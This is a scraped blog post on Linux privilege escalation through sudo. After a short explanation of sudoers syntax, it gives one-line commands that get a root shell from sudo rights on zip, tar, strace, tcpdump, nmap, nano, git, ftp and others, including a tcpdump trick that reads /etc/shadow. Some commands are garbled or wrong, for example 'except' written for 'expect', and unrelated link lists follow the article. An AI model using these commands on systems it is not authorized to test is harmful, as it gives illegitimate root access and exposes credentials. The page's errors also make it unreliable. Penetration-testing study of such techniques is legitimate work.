Abusing SUDO Advance for Linux Privilege Escalation
Index
- What is SUDO?
- Scenario.
- Sudoer FIle Syntax.
- Exploiting SUDO
- zip
- tar
- strace
- tcpdump
- nmap
- scp
- except
- nano & pico
- git
- ftp/gdb
What is SUDO ??
The SUDO(Substitute User and Do) command, allows users to delegate privileges resources proceeding activity logging. In other words, users can execute command under root ( or other users) using their own passwords instead of root’s one or without password depending upon sudoers setting The rules considering the decision making about granting an access, we can find in /etc/sudoers file.
Scenario.
During Red Teaming, sometime we encounter some situation where in we need to escalate our privilege to root or other users. an attacker can take advantage of sudo permission to execute a shell.
Sudoer File Syntax.
root ALL=(ALL) ALL
Explain 1: The root user can execute from ALL terminals, acting as ALL (any) users, and run ALL (any) command.
The first part is the user, the second is the terminal from where the user can use the sudocommand, the third part is which users he may act as, and the last one is which commands he may run when using.sudo
touhid ALL= /sbin/poweroff
Explain 2: The above command, makes the user touhid can from any terminal, run the command power off using touhid’s user password.
touhid ALL = (root) NOPASSWD: /usr/bin/find
Explain 3: The above command, make the user touhid can from any terminal, run the command find as root user without password.
Exploiting SUDO Users.
To Exploiting sudo user u need to find which command u have to allow.sudo -l
The above command shows which command have allowed to the current user.
Here sudo -l, Shows the user has all this binary allowed to do as on root user without password.
Let’s take a look at all binary one by one (which is mention in the index only) and Escalate Privilege to root user.
Using zip command
$ sudo zip /tmp/test.zip /tmp/test -T --unzip-command="sh -c /bin/bash"
Using tar command
$ sudo tar cf /dev/null testfile --checkpoint=1 --checkpointaction=exec=/bin/bash
Using strace command
$ sudo strace -o/dev/null /bin/bash
Using tcpdump command
$ echo $’id\ncat /etc/shadow’ > /tmp/.shell
$ chmod +x /tmp/.shell
$ sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.shell-Z root
Using nmap command
$ echo "os.execute('/bin/sh')" > /tmp/shell.nse
$ sudo nmap --script=/tmp/shell.nse
Using scp command
$ sudo scp -S /path/yourscript x y
Using except command
$ sudo except spawn sh then sh
Using nano command
$ sudo nano -S /bin/bash
type your command and hit CTRL+T
Using git command
$ sudo git help status
type: !/bin/bash
Using gdb/ftp command
$ sudo ftp
type : !/bin/sh
Abusing SUDO Advance for Linux Privilege Escalation的更多相关文章
- Basic Linux Privilege Escalation
(Linux) privilege escalation is all about: Collect - Enumeration, more enumeration and some more enu ...
- OSCP Learning Notes - Privilege Escalation
Privilege Escalation Download the Basic-pentesting vitualmation from the following website: https:// ...
- karottc A Simple linux-virus Analysis、Linux Kernel <= 2.6.37 - Local Privilege Escalation、CVE-2010-4258、CVE-2010-3849、CVE-2010-3850
catalog . 程序功能概述 . 感染文件 . 前置知识 . 获取ROOT权限: Linux Kernel <= - Local Privilege Escalation 1. 程序功能概述 ...
- Linux/Unix System Level Attack、Privilege Escalation(undone)
目录 . How To Start A System Level Attack . Remote Access Attack . Local Access Attack . After Get Roo ...
- Android linux kernel privilege escalation vulnerability and exploit (CVE-2014-4322)
In this blog post we'll go over a Linux kernel privilege escalation vulnerability I discovered which ...
- CVE-2014-4014 Linux Kernel Local Privilege Escalation PoC
/** * CVE-2014-4014 Linux Kernel Local Privilege Escalation PoC * * Vitaly Nikolenko * http://ha ...
- [EXP]Microsoft Windows - DfMarshal Unsafe Unmarshaling Privilege Escalation
Windows: DfMarshal Unsafe Unmarshaling Elevation of Privilege (Master) Platform: Windows (not tested ...
- FreeBSD Intel SYSRET Kernel Privilege Escalation Exploit
/* * FreeBSD 9.0 Intel SYSRET Kernel Privilege Escalation exploit * Author by CurcolHekerLink * * Th ...
- [EXP]Memu Play 6.0.7 - Privilege Escalation
# Exploit Title: Memu Play - Privilege Escalation (PoC) # Date: // # Author: Alejandra Sánchez # Ven ...
随机推荐
- C 基础数据类型 性能测试
简单测试了C语言中分别使用16位整数和32位整数实现的定点数和内建浮点数的乘除性能: 在release 下 循环 1 0000 0000 * 20次 的时间: CPU:7700K/4.2Ghz 定点数 ...
- MySQL的存储(一、连接数据库)
准备工作: 确保安装MySql 安装PyMySQL库 连接数据库: 这里首先尝试连接下数据库,假设当前MySQL运行在本地,用户名为root,密码为123456,运行端口为3306. 通过PyMySQ ...
- Internet History,Technology,and Security - Dawn of Electronic Computing(Week 1)
一 War Time Computing and Communication 讲到电子计算机,你不得不提起第二次世界大战,虽说二战是人类历史上史无前例的大灾难,不过从某种程度来说,它确实促进了社会的发 ...
- 2017 ACM/ICPC 沈阳 I题 Little Boxes
Little boxes on the hillside. Little boxes made of ticky-tacky. Little boxes. Little boxes. Little b ...
- Multiplication Game
Description Alice and Bob are in their class doing drills on multiplication and division. They quick ...
- 捅娄子了,写个bug被国家信息安全漏洞共享平台抓到了?
摸不了鱼了 2019 年 11 月 26 日,本来应该是无比平静的一天,开开会,改改bug,摸摸鱼之后等着下班.刷着新闻的间隙,手机的消息提示音响了起来,收到了一条邮件,平时收到邮件我都会选择稍后处理 ...
- 踩坑了!使用 @Autowired 注入成功,GetBean 方法却获取不到?!
本文首发于个人微信公众号:Coder小黑 踩坑了?! 之前推文已经讲过 当@Transactional遇到@CacheEvict,你的代码是不是有bug! 现在要在事务提交之后清除缓存.在Spring ...
- 探究UE4网络系列(二)、UE4网络核心类分析
转载请标明出处:http://www.cnblogs.com/zblade/ 一.概要 前面分析了网络核心的基础类Socket/BSDSocket/SocketSubsystem/SocketSubs ...
- thinking in java 阅读收获
<thinking in java>,国内翻译为<JAVA编程思想>,一直听说该书写的非常好,今日研读,果然有所收获,特在此记录一些阅读时点点滴滴的收获. 1. “基本数据类 ...
- c#截取后台窗口的图片
c#截取后台窗口的图片,自测可用,据说性能很一般,用用吧 struct RECT { public int Left; // x position of upper-left corner publi ...